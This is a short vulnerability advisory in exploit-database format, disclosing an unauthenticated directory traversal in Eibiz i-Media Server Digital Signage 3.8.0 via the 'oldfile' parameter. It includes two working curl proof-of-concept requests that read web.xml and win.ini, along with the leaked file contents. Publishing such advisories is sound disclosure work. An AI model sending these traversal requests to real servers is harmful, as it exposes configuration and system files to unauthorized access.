Eibiz i-Media Server Digital Signage 3.8.0 – Directory Traversal
# Exploit Title: Eibiz i-Media Server Digital Signage 3.8.0 - Directory Traversal # Date: 2020-08-22 # Exploit Author: LiquidWorm # Vendor Homepage: http://www.eibiz.co.th # Affected version: <=3.8.0 # CVE: N/A Eibiz i-Media Server Digital Signage 3.8.0 (oldfile) File Path Traversal Vendor: EIBIZ Co.,Ltd. Product web page: http://www.eibiz.co.th Affected version: <=3.8.0 Summary: EIBIZ develop advertising platform for out of home media in that time the world called "Digital Signage". Because most business customers still need get outside to get in touch which products and services. Online media alone cannot serve them right place, right time. Desc: i-Media Server is affected by a directory traversal vulnerability. An unauthenticated remote attacker can exploit this to view the contents of files located outside of the server's root directory. The issue can be triggered through the 'oldfile' GET parametery. Tested on: Windows Server 2016 Windows Server 2012 R2 Windows Server 2008 R2 Apache Flex Apache Tomcat/6.0.14 Apache-Coyote/1.1 BlazeDS Application Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2020-5585 Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5585.php 26.07.2020 -- $ curl "http://192.168.1.1/dlibrary/null?oldfile=../../WEB-INF/web.xml&library=null" $ curl "http://192.168.1.1/dlibrary/null?oldfile=../../../../../../windows/win.ini&library=null" ; for 16-bit app support [fonts] [extensions] [mci extensions] [files] [Mail] MAPI=1 |